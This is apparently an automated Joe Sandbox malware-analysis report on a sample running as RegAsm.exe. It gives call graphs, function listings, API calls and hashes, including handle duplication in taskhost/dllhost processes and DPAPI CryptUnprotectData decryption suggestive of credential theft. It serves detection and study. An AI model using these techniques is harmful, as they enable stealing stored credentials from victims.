39675 414813 39677 41456d 39676->39677 39678 41457f GetPrivateProfileIntW 39676->39678 39681 4143f1 memset _itow WritePrivateProfileStringW 39677->39681 39678->39675 39680 41457a 39680->39675 39681->39680 39682 44def7 39683 44df07 39682->39683 39684 44df00 ??3@YAXPAX 39682->39684 39685 44df17 39683->39685 39686 44df10 ??3@YAXPAX 39683->39686 39684->39683 39687 44df27 39685->39687 39688 44df20 ??3@YAXPAX 39685->39688 39686->39685 39689 44df37 39687->39689 39690 44df30 ??3@YAXPAX 39687->39690 39688->39687 39690->39689 39691 4287c1 39692 4287d2 39691->39692 39693 429ac1 39691->39693 39694 428818 39692->39694 39695 42881f 39692->39695 39709 425711 39692->39709 39705 425ad6 39693->39705 39761 415c56 11 API calls 39693->39761 39728 42013a 39694->39728 39756 420244 96 API calls 39695->39756 39700 4260dd 39755 424251 119 API calls 39700->39755 39702 4259da 39754 416760 11 API calls 39702->39754 39706 429a4d 39712 429a66 39706->39712 39713 429a9b 39706->39713 39709->39693 39709->39702 39709->39706 39710 422aeb memset memcpy memcpy 39709->39710 39716 4260a1 39709->39716 39724 4259c2 39709->39724 39727 425a38 39709->39727 39744 4227f0 memset memcpy 39709->39744 39745 422b84 15 API calls 39709->39745 39746 422b5d memset memcpy memcpy 39709->39746 39747 422640 13 API calls 39709->39747 39749 4241fc 11 API calls 39709->39749 39750 42413a 89 API calls 39709->39750 39710->39709 39757 415c56 11 API calls 39712->39757 39715 429a96 39713->39715 39759 416760 11 API calls 39713->39759 39760 424251 119 API calls 39715->39760 39753 415c56 11 API calls 39716->39753 39717 429a7a 39758 416760 11 API calls 39717->39758 39724->39705 39748 415c56 11 API calls 39724->39748 39727->39724 39751 422640 13 API calls 39727->39751 39752 4226e0 12 API calls 39727->39752 39729 42014c 39728->39729 39732 420151 39728->39732 39771 41e466 96 API calls 39729->39771 39731 420162 39731->39709 39732->39731 39733 4201b3 39732->39733 39734 420229 39732->39734 39735 4201b8 39733->39735 39736 4201dc 39733->39736 39734->39731 39737 41fd5e 85 API calls 39734->39737 39762 41fbdb 39735->39762 39736->39731 39741 4201ff 39736->39741 39768 41fc4c 39736->39768 39737->39731 39741->39731 39743 42013a 96 API calls 39741->39743 39743->39731 39744->39709 39745->39709 39746->39709 39747->39709 39748->39702 39749->39709 39750->39709 39751->39727 39752->39727 39753->39702 39754->39700 39755->39705 39756->39709 39757->39717 39758->39715 39759->39715 39760->39693 39761->39702 39763 41fbf8 39762->39763 39766 41fbf1 39762->39766 39776 41ee26 39763->39776 39767 41fc39 39766->39767 39786 4446ce 11 API calls 39766->39786 39767->39731 39772 41fd5e 39767->39772 39769 41ee6b 85 API calls 39768->39769 39770 41fc5d 39769->39770 39770->39736 39771->39732 39773 41fd65 39772->39773 39774 41fdab 39773->39774 39775 41fbdb 85 API calls 39773->39775 39774->39731 39775->39773 39777 41ee41 39776->39777 39778 41ee32 39776->39778 39787 41edad 39777->39787 39790 4446ce 11 API calls 39778->39790 39782 41ee3c 39782->39766 39784 41ee58 39784->39782 39792 41ee6b 39784->39792 39786->39767 39796 41be52 39787->39796 39790->39782 39791 41eb85 11 API calls 39791->39784 39793 41ee70 39792->39793 39794 41ee78 39792->39794 39834 41bf99 85 API calls 39793->39834 39794->39782 39797 41be6f 39796->39797 39798 41be5f 39796->39798 39802 41be8c 39797->39802 39828 418c63 memset memset 39797->39828 39827 4446ce 11 API calls 39798->39827 39800 41be69 39800->39782 39800->39791 39802->39800 39803 41bf3a 39802->39803 39805 41bed1 39802->39805 39808 41bee7 39802->39808 39831 4446ce 11 API calls 39803->39831 39807 41bef0 39805->39807 39810 41bee2 39805->39810 39807->39808 39809 41bf01 39807->39809 39808->39800 39832 41a453 85 API calls 39808->39832 39811 41bf24 memset 39809->39811 39813 41bf14 39809->39813 39829 418a6d memset memcpy memset 39809->39829 39817 41ac13 39810->39817 39811->39800 39830 41a223 memset memcpy memset 39813->39830 39816 41bf20 39816->39811 39818 41ac52 39817->39818 39819 41ac3f memset 39817->39819 39822 41ac6a 39818->39822 39833 41dc14 19 API calls 39818->39833 39820 41acd9 39819->39820 39820->39808 39823 41519d 6 API calls 39822->39823 39824 41aca1 39822->39824 39823->39824 39824->39820 39825 41acc0 memset 39824->39825 39826 41accd memcpy 39824->39826 39825->39820 39826->39820 39827->39800 39828->39802 39829->39813 39830->39816 39831->39808 39833->39822 39834->39794 39835 417bc5 39837 417c61 39835->39837 39841 417bda 39835->39841 39836 417bf6 UnmapViewOfFile CloseHandle 39836->39836 39836->39841 39839 417c2c 39839->39841 39847 41851e 18 API calls 39839->39847 39841->39836 39841->39837 39841->39839 39842 4175b7 39841->39842 39843 4175d6 CloseHandle 39842->39843 39844 4175c8 39843->39844 39845 4175df 39843->39845 39844->39845 39846 4175ce Sleep 39844->39846 39845->39841 39846->39843 39847->39839 39848 4148b6 FindResourceW 39849 4148f9 39848->39849 39850 4148cf SizeofResource 39848->39850 39850->39849 39851 4148e0 LoadResource 39850->39851 39851->39849 39852 4148ee LockResource 39851->39852 39852->39849 39853 441b3f 39863 43a9f6 39853->39863 39855 441b61 40036 4386af memset 39855->40036 39857 44189a 39858 4418e2 39857->39858 39860 442bd4 39857->39860 39859 4418ea 39858->39859 40037 4414a9 12 API calls 39858->40037 39860->39859 40038 441409 memset 39860->40038 39864 43aa20 39863->39864 39871 43aadf 39863->39871 39865 43aa34 memset 39864->39865 39864->39871 39866 43aa56 39865->39866 39867 43aa4d 39865->39867 40039 43a6e7 39866->40039 40047 42c02e memset 39867->40047 39871->39855 39873 43aad3 40049 4169a7 11 API calls 39873->40049 39874 43aaae 39874->39871 39874->39873 39889 43aae5 39874->39889 39875 43ac18 39878 43ac47 39875->39878 40051 42bbd5 memcpy memcpy memcpy memset memcpy 39875->40051 39879 43aca8 39878->39879 40052 438eed 16 API calls 39878->40052 39883 43acd5 39879->39883 40054 4233ae 11 API calls 39879->40054 39882 43ac87 40053 4233c5 16 API calls 39882->40053 40055 423426 11 API calls 39883->40055 39887 43ace1 40056 439811 162 API calls 39887->40056 39888 43a9f6 160 API calls 39888->39889 39889->39871 39889->39875 39889->39888 40050 439bbb 22 API calls 39889->40050 39891 43acfd 39896 43ad2c 39891->39896 40057 438eed 16 API calls 39891->40057 39893 43ad19 40058 4233c5 16 API calls 39893->40058 39895 43ad58 40059 44081d 162 API calls 39895->40059 39896->39895 39899 43add9 39896->39899 40063 423426 11 API calls 39899->40063 39900 43ae3a memset 39901 43ae73 39900->39901 40064 42e1c0 146 API calls 39901->40064 39902 43adab 40061 438c4e 162 API calls 39902->40061 39903 43ad6c 39903->39871 39903->39902 40060 42370b memset memcpy memset 39903->40060 39907 43adcc 40062 440f84 12 API calls 39907->40062 39908 43ae96 40065 42e1c0 146 API calls 39908->40065 39911 43aea8 39914 43aec1 39911->39914 40066 42e199 146 API calls 39911->40066 39913 43af00 39913->39871 39918 43af1a 39913->39918 39919 43b3d9 39913->39919 39914->39913 40067 42e1c0 146 API calls 39914->40067 39915 43add4 39920 43b60f 39915->39920 40126 438f86 16 API calls 39915->40126 40068 438eed 16 API calls 39918->40068 39924 43b3f6 39919->39924 39930 43b4c8 39919->39930 39920->39871 40127 4393a5 17 API calls 39920->40127 39923 43af2f 40069 4233c5 16 API calls 39923->40069 40109 432878 12 API calls 39924->40109 39926 43af51 40070 423426 11 API calls 39926->40070 39928 43af7d 40071 423426 11 API calls 39928->40071 39929 43b4f2 40116 43a76c 21 API calls 39929->40116 39930->39929 40115 42bbd5 memcpy memcpy memcpy memset memcpy 39930->40115 39935 43b462 40111 423330 11 API calls 39935->40111 39936 43af94 40072 423330 11 API calls 39936->40072 39937 43b529 40117 44081d 162 API calls 39937->40117 39941 43b544 39945 43b55c 39941->39945 40118 42c02e memset 39941->40118 39942 43b428 39942->39935 40110 432b60 16 API calls 39942->40110 39943 43afca 40073 423330 11 API calls 39943->40073 39944 43b47e 39947 43b497 39944->39947 40112 42374a memcpy memset memcpy memcpy memcpy 39944->40112 40119 43a87a 162 API calls 39945->40119 40113 4233ae 11 API calls 39947->40113 39950 43afdb 40074 4233ae 11 API calls 39950->40074 39953 43b4b1 40114 423399 11 API calls 39953->40114 39955 43b56c 39958 43b58a 39955->39958 40120 423330 11 API calls 39955->40120 39957 43afee 40075 44081d 162 API calls 39957->40075 40121 440f84 12 API calls 39958->40121 39959 43b4c1 40123 42db80 162 API calls 39959->40123 39964 43b592 40122 43a82f 16 API calls 39964->40122 39967 43b5b4 40124 438c4e 162 API calls 39967->40124 39969 43b5cf 40125 42c02e memset 39969->40125 39971 43b005 39971->39871 39976 43b01f 39971->39976 40076 42d836 162 API calls 39971->40076 39972 43b1ef 40086 4233c5 16 API calls 39972->40086 39974 43b212 40087 423330 11 API calls 39974->40087 39976->39972 40084 423330 11 API calls 39976->40084 40085 42d71d 162 API calls 39976->40085 39978 43b087 40077 4233ae 11 API calls 39978->40077 39981 43b22a 40088 42ccb5 11 API calls 39981->40088 39984 43b23f 40089 4233ae 11 API calls 39984->40089 39985 43b10f 40080 423330 11 API calls 39985->40080 39987 43b257 40090 4233ae 11 API calls 39987->40090 39991 43b129 40081 4233ae 11 API calls 39991->40081 39992 43b26e 40091 4233ae 11 API calls 39992->40091 39993 43b09a 39993->39985 40078 42cc15 19 API calls 39993->40078 40079 4233ae 11 API calls 39993->40079 39997 43b282 40092 43a87a 162 API calls 39997->40092 39998 43b13c 40082 440f84 12 API calls 39998->40082 40000 43b29d 40093 423330 11 API calls 40000->40093 40003 43b15f 40083 4233ae 11 API calls 40003->40083 40004 43b2af 40006 43b2b8 40004->40006 40007 43b2ce 40004->40007 40094 4233ae 11 API calls 40006->40094 40095 440f84 12 API calls 40007->40095 40010 43b2c9 40097 4233ae 11 API calls 40010->40097 40011 43b2da 40096 42370b memset memcpy memset 40011->40096 40014 43b2f9 40098 423330 11 API calls 40014->40098 40016 43b30b 40099 423330 11 API calls 40016->40099 40018 43b325 40100 423399 11 API calls 40018->40100 40020 43b332 40101 4233ae 11 API calls 40020->40101 40022 43b354 40102 423399 11 API calls 40022->40102 40024 43b364 40103 43a82f 16 API calls 40024->40103 40026 43b370 40104 42db80 162 API calls 40026->40104 40028 43b380 40105 438c4e 162 API calls 40028->40105 40030 43b39e 40106 423399 11 API calls 40030->40106 40032 43b3ae 40107 43a76c 21 API calls 40032->40107 40034 43b3c3 40108 423399 11 API calls 40034->40108 40036->39857 40037->39859 40038->39860 40040 43a6f5 40039->40040 40041 43a765 40039->40041 40040->40041 40128 42a115 40040->40128 40041->39871 40048 4397fd memset 40041->40048 40045 43a73d 40045->40041 40046 42a115 146 API calls 40045->40046 40046->40041 40047->39866 40048->39874 40049->39871 40050->39889 40051->39878 40052->39882 40053->39879 40054->39883 40055->39887 40056->39891 40057->39893 40058->39896 40059->39903 40060->39902 40061->39907 40062->39915 40063->39900 40064->39908 40065->39911 40066->39914 40067->39914 40068->39923 40069->39926 40070->39928 40071->39936 40072->39943 40073->39950 40074->39957 40075->39971 40076->39978 40077->39993 40078->39993 40079->39993 40080->39991 40081->39998 40082->40003 40083->39976 40084->39976 40085->39976 40086->39974 40087->39981 40088->39984 40089->39987 40090->39992 40091->39997 40092->40000 40093->40004 40094->40010 40095->40011 40096->40010 40097->40014 40098->40016 40099->40018 40100->40020 40101->40022 40102->40024 40103->40026 40104->40028 40105->40030 40106->40032 40107->40034 40108->39915 40109->39942 40110->39935 40111->39944 40112->39947 40113->39953 40114->39959 40115->39929 40116->39937 40117->39941 40118->39945 40119->39955 40120->39958 40121->39964 40122->39959 40123->39967 40124->39969 40125->39915 40126->39920 40127->39871 40129 42a175 40128->40129 40131 42a122 40128->40131 40129->40041 40134 42b13b 146 API calls 40129->40134 40131->40129 40132 42a115 146 API calls 40131->40132 40135 43a174 40131->40135 40159 42a0a8 146 API calls 40131->40159 40132->40131 40134->40045 40147 43a196 40135->40147 40150 43a19e 40135->40150 40136 43a306 40136->40147 40173 4388c4 14 API calls 40136->40173 40139 42a115 146 API calls 40139->40150 40140 415a91 memset 40140->40150 40141 43a642 40141->40147 40178 4169a7 11 API calls 40141->40178 40145 43a635 40177 42c02e memset 40145->40177 40147->40131 40150->40136 40150->40139 40150->40140 40150->40147 40160 42ff8c 40150->40160 40168 4165ff 11 API calls 40150->40168 40169 439504 13 API calls 40150->40169 40170 4312d0 146 API calls 40150->40170 40171 42be4c memcpy memcpy memcpy memset memcpy 40150->40171 40172 43a121 11 API calls 40150->40172 40152 43a325 40152->40141 40152->40145 40152->40147 40153 4169a7 11 API calls 40152->40153 40154 42b5b5 memset memcpy 40152->40154 40155 42bf4c 14 API calls 40152->40155 40174 42b63e 14 API calls 40152->40174 40175 4165ff 11 API calls 40152->40175 40176 42bfcf memcpy 40152->40176 40153->40152 40154->40152 40155->40152 40159->40131 40179 43817e 40160->40179 40162 42ff99 40163 42ffe3 40162->40163 40164 42ffd0 40162->40164 40167 42ff9d 40162->40167 40184 4169a7 11 API calls 40163->40184 40183 4169a7 11 API calls 40164->40183 40167->40150 40168->40150 40169->40150 40170->40150 40171->40150 40172->40150 40173->40152 40174->40152 40175->40152 40176->40152 40177->40141 40178->40147 40180 438187 40179->40180 40181 438192 40179->40181 40185 4380f6 40180->40185 40181->40162 40183->40167 40184->40167 40187 43811f 40185->40187 40186 438164 40186->40181 40187->40186 40190 437e5e 40187->40190 40213 4300e8 memset memset memcpy 40187->40213 40214 437d3c 40190->40214 40192 437eb3 40192->40187 40193 437ea9 40193->40192 40199 437f22 40193->40199 40229 41f432 40193->40229 40196 437f06 40240 415c56 11 API calls 40196->40240 40198 437f95 40241 415c56 11 API calls 40198->40241 40200 437f7f 40199->40200 40201 432d4e 3 API calls 40199->40201 40200->40198 40202 43802b 40200->40202 40201->40200 40242 4165ff 11 API calls 40202->40242 40205 438054 40243 437371 137 API calls 40205->40243 40208 43806b 40209 438094 40208->40209 40244 42f50e 137 API calls 40208->40244 40210 437fa3 40209->40210 40245 4300e8 memset memset memcpy 40209->40245 40210->40192 40246 41f638 103 API calls 40210->40246 40213->40187 40215 437d69 40214->40215 40218 437d80 40214->40218 40247 437ccb 11 API calls 40215->40247 40217 437d76 40217->40193 40218->40217 40219 437da3 40218->40219 40222 437d90 40218->40222 40221 438460 133 API calls 40219->40221 40225 437dcb 40221->40225 40222->40217 40251 437ccb 11 API calls 40222->40251 40223 437de8 40250 424f26 122 API calls 40223->40250 40225->40223 40248 444283 13 API calls 40225->40248 40227 437dfc 40249 437ccb 11 API calls 40227->40249 40230 41f54d 40229->40230 40236 41f44f 40229->40236 40231 41f466 40230->40231 40281 41c635 memset memset 40230->40281 40231->40196 40231->40199 40236->40231 40238 41f50b 40236->40238 40252 41f1a5 40236->40252 40277 41c06f memcmp 40236->40277 40278 41f3b1 89 API calls 40236->40278 40279 41f398 85 API calls 40236->40279 40238->40230 40238->40231 40280 41c295 85 API calls 40238->40280 40240->40192 40241->40210 40242->40205 40243->40208 40244->40209 40245->40210 40246->40192 40247->40217 40248->40227 40249->40223 40250->40217 40251->40217 40253 41bc3b 100 API calls 40252->40253 40254 41f1b4 40253->40254 40255 41edad 85 API calls 40254->40255 40262 41f282 40254->40262 40256 41f1cb 40255->40256 40257 41f1f5 memcmp 40256->40257 40258 41f20e 40256->40258 40256->40262 40257->40258 40259 41f21b memcmp 40258->40259 40258->40262 40260 41f326 40259->40260 40263 41f23d 40259->40263 40261 41ee6b 85 API calls 40260->40261 40260->40262 40261->40262 40262->40236 40263->40260 40264 41f28e memcmp 40263->40264 40266 41c8df 55 API calls 40263->40266 40264->40260 40265 41f2a9 40264->40265 40265->40260 40268 41f308 40265->40268 40269 41f2d8 40265->40269 40267 41f269 40266->40267 40267->40260 40270 41f287 40267->40270 40271 41f27a 40267->40271 40268->40260 40275 4446ce 11 API calls 40268->40275 40272 41ee6b 85 API calls 40269->40272 40270->40264 40274 41ee6b 85 API calls 40271->40274 40273 41f2e0 40272->40273 40276 41b1ca memset 40273->40276 40274->40262 40275->40260 40276->40262 40277->40236 40278->40236 40279->40236 40280->40230 40281->40231 40282 41493c EnumResourceNamesW 40283 44660a 40286 4465e4 40283->40286 40285 446613 40287 4465f3 __dllonexit 40286->40287 40288 4465ed _onexit 40286->40288 40287->40285 40288->40287

                      Executed Functions

                      Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                      APIs
                      • memset.MSVCRT ref: 0040DDAD
                        • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                      • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                      • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                      • CloseHandle.KERNEL32(C0000004), ref: 0040DE3E
                      • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                      • _wcsicmp.MSVCRT ref: 0040DEB2
                      • _wcsicmp.MSVCRT ref: 0040DEC5
                      • _wcsicmp.MSVCRT ref: 0040DED8
                      • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                      • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                      • DuplicateHandle.KERNEL32(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                      • memset.MSVCRT ref: 0040DF5F
                      • CloseHandle.KERNEL32(C0000004), ref: 0040DF92
                      • _wcsicmp.MSVCRT ref: 0040DFB2
                      • CloseHandle.KERNEL32(00000104), ref: 0040DFF2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                      • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                      • API String ID: 2018390131-3398334509
                      • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                      • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                      • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                      • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                      Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                        • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                        • Part of subcall function 00418680: ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • GetDiskFreeSpaceW.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                      • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418803
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@DiskFreeSpace$FullNamePathVersionmalloc
                      • String ID:
                      • API String ID: 2947809556-0
                      • Opcode ID: 940d27dee81e78af7b1dcfc54f007828992184dafba41df18b595ae7ea53f8f2
                      • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                      • Opcode Fuzzy Hash: 940d27dee81e78af7b1dcfc54f007828992184dafba41df18b595ae7ea53f8f2
                      • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                      Function 00404423 Relevance: 3.1, APIs: 2, Instructions: 51encryptionCOMMON
                      Download Yara Rule
                      APIs
                      • CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$Load$CryptDataDirectoryFreeSystemUnprotectmemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 1945712969-0
                      • Opcode ID: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                      • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                      • Opcode Fuzzy Hash: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                      • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                      Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                      • FindNextFileW.KERNEL32(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileFind$FirstNext
                      • String ID:
                      • API String ID: 1690352074-0
                      • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                      • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                      • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                      • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                      Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0041898C
                      • GetSystemInfo.KERNEL32(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: InfoSystemmemset
                      • String ID:
                      • API String ID: 3558857096-0
                      • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                      • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                      • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                      • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                      Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 42 44558e-445594 call 444b06 4->42 43 44557e-445580 call 4136c0 4->43 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 45 445823-445826 14->45 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 53 445879-44587c 18->53 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 87 445685 21->87 88 4456b2-4456b5 call 40b1ab 21->88 30 445605-445607 22->30 31 445603 22->31 28 4459f2-4459fa 23->28 29 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->29 139 44592d-445945 call 40b6ef 24->139 140 44594a 24->140 37 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 28->37 38 445b29-445b32 28->38 157 4459d0-4459e8 call 40b6ef 29->157 158 4459ed 29->158 30->21 41 445609-44560d 30->41 31->30 182 445b08-445b15 call 40ae51 37->182 54 445c7c-445c85 38->54 55 445b38-445b96 memset * 3 38->55 41->21 51 44560f-445641 call 4087b3 call 40a889 call 4454bf 41->51 42->3 66 445585-44558c call 41366b 43->66 56 44584c-445854 call 40b1ab 45->56 57 445828 45->57 154 445665-445670 call 40b1ab 51->154 155 445643-445663 call 40a9b5 call 4087b3 51->155 67 4458a2-4458aa call 40b1ab 53->67 68 44587e 53->68 63 445d1c-445d25 54->63 64 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 54->64 69 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 55->69 70 445b98-445ba0 55->70 56->13 71 44582e-445847 call 40a9b5 call 4087b3 57->71 76 445fae-445fb2 63->76 77 445d2b-445d3b 63->77 159 445cf5 64->159 160 445cfc-445d03 64->160 66->42 67->19 85 445884-44589d call 40a9b5 call 4087b3 68->85 249 445c77 69->249 70->69 86 445ba2-445bcf call 4099c6 call 445403 call 445389 70->86 142 445849 71->142 94 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 77->94 95 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 77->95 146 44589f 85->146 86->54 89 44568b-4456a4 call 40a9b5 call 4087b3 87->89 107 4456ba-4456c4 88->107 148 4456a9-4456b0 89->148 165 445d67-445d6c 94->165 166 445d71-445d83 call 445093 94->166 196 445e17 95->196 197 445e1e-445e25 95->197 121 4457f9 107->121 122 4456ca-4456d3 call 413cfa call 413d4c 107->122 121->6 174 4456d8-4456f7 call 40b2cc call 413fa6 122->174 139->140 140->23 142->56 146->67 148->88 148->89 154->107 155->154 157->158 158->28 159->160 171 445d05-445d13 160->171 172 445d17 160->172 176 445fa1-445fa9 call 40b6ef 165->176 166->76 171->172 172->63 206 4456fd-445796 memset * 4 call 409c70 * 3 174->206 207 4457ea-4457f7 call 413d29 174->207 176->76 200 445b17-445b27 call 